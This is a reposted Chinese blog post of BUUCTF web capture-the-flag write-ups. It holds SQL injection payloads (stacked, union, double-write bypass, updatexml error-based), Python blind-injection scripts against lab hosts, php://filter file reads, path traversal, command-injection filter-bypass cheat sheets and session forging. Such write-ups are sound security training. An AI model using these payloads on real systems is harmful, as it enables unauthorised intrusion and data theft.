BUUCTF-web

Posted 【码猿】

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF-web相关的知识,希望对你有一定的参考价值。

目录

[HCTF 2018]WarmUp

源码发现提示source.php审计PHP。发现有三个地方可以返回Ture但是只有后两个是可以的,所以考虑后两个。(第一个无法访问flag)

白名单,只有source.php和hint.php。

mb_substr()
返回字符串从第二个参数到第三个参数的值即str[0:2]
mb_strpos()
查找到第一个含有第二个参数的位置。
可以构造payloadfile=hint.php?../../../../../ffffllllaaaagggg
第二个绕过

对第一个进行url编码file=hint.php%3F..%2F..%2F..%2F..%2F..%2Fffffllllaaaagggg

[极客大挑战 2019]Havefun

源码有提示cat =dog出flag

[强网杯 2019]随便注

输入一个’直接报错。可以sql注入,但是过滤了select
我们在这里用堆叠查询
查表

1';show columns from `1919810931114514`;#


发现flag列
这里献上大佬的payload

1';SET @sql = CONCAT('sel','ect',' * from `1919810931114514`;');PREPARE dawn from @sql;EXECUTE dawn;#

[SUCTF 2019]EasySQL

可以进行堆注入;
1;show tables;

有flag表;
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能

1;set sql_mode=PIPES_AS_CONCAT;select 1

非预期解:*,1

[ACTF2020 新生赛]Include

考察php伪协议读取flag.php
file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]Secret

这个题根据源码提示访问action.php然后访问secr3t.php。考察php伪协议
直接php伪协议读取flag.php
file=php//filter/read=convert.base64-encode/resource=./flag.php
解码得flag

order by 3
正常
order by 4
报错
然后
'union select 1,2,3#
发现2,3位可以回显

查表
'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

查列
'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#

查字段
' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

[极客大挑战 2019]EasySQL

直接万能密码'or 1=1出来flag

[极客大挑战 2019]BabySQL

输入’报错
直接order by 5发现
or和by被换为空,所以用双写绕过
oorrder bbyy 4
报错
oorrder bbyy 3
正常
admin'union select 1,2,3#
union和select都被过滤直接双写绕过

和上一个就差不多了

'ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

'ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql'#
字段
'ununionion selselectect 1,2,group_concat(id,username) frofromm b4bsql#

[极客大挑战 2019]HardSQL

发现union和by都被过滤了。所以联合查询是行不通了。
这里是updatexml()报错注入。我们先了解一下updatexml()报错注入。

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

updatexml(1,concat(0x7e,(database()),0x7e),1)
因为concat函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

爆表
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

爆段
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

爆字段
admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#

因为字数限制只能爆出来前一段,我们需要用right函数爆出来后面的
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#

拼接一下就出来了
flagf61eacc4-e798-4b23-9bd1-7fc7a0c6cc39

[极客大挑战 2019]FinalSQL

根据提示是布尔盲注

这是我自己写的代码不过效率不高

import requests
import string
url = "http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?id=1^"
s = 'others~~~'
str = ''
# sql = "database()"
# sql = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
## F1naI1y,Flaaaaag
# sql = "select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')"
## id,fl4gawsl
# sql = "select(group_concat(fl4gawsl))from(Flaaaaag)"

# sql = "select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')"
## id,username,password
sql = "select(group_concat(password))from(F1naI1y)"
payload = "(ascii(substr((),,1))=)^1"
url+=payload
for i in range(1000):
    for j in string.printable:
        r = requests.get(url.format(sql,i+1,ord(j)))
        if s in r.content.decode():
            str += j
            print(str)
            break
    print(i)

这是大佬的代码

url = 'http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?'
flag = ''
for i in range(172,250):
    low = 32
    high = 128
    mid = (low+high)//2
    while(low<high):
        #payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
        payload = "http://0d8c0a68-b3a4-431f-84f6-cc398fbe1ab5.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
        res = requests.get(url=payload)

        if 'ERROR' in res.text:
            low = mid+1
        else:
            high = mid
        mid = (low+high)//2
    if(mid ==32 or mid ==127):
        break
    flag = flag+chr(mid)
    print(flag)

[GXYCTF2019]Ping Ping Ping

首先打开网页发现

输入/?ip=127.0.0.1返回ping的信息。执行代码发现/?ip=127.0.0.1|ls flag.php 发现空格被ban
经过一番尝试最后看的大佬的wp
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

过滤空格的方法

%20(space)%09(tab)、$IFS$9、 IFS、IFS
使用<或者<>来绕过空格 cat<a.txt
花括号扩展OS_COMMAND,ARGUMENT cat,/etc/passwd
$IFS 空格绕过 cat$IFSa.txt
变量控制 X=$'cat\\x09./flag.php

关键词过滤

使用空变量 使用$*和$@,$x(x 代表 1-9),$x(x>=10)(我尝试小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 ca$21t a.txt
反斜杠 ca\\t a.txt
变量替换 a=ca;b=t;c=a.txt; a a ab $c
引号 c'a't flag.php
编码绕过
Base64 编码绕过:
root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
十六进制编码绕过:
root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
通配符 ?*
[]:匹配范围中任何一个字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范围中任何一个字符 cat fl[a-z]g.php
a,b:对以逗号分割的文件列表进行拓展 cat flb,cg.php

转自https://blog.csdn.net/qq_42812036/article/details/104297163

[HCTF 2018]admin

这个题是伪造Session。
源码提示不是admin。所以这个题就是登陆admin就可以拿到flag。
随便注册一个账号,在修改密码界面可以发现
然后下载源码在config.py发现SECRET_KEY

然后在index.html页面发现只要session[‘name’] == 'admin’即可以得到flag
先对session进行解密

然后对session进行加密

bp抓包改下session就可以得到flag

以上是关于BUUCTF-web的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF-web

Buuctf-Web-[ACTF2020 新生赛]Include

Buuctf-web-[SUCTF 2019]CheckIn

Buuctf-web-[极客大挑战 2019]Upload

题解记录-BUUCTF|Web (持续更新中)

Apple官文中的KVO 与 FBKVOController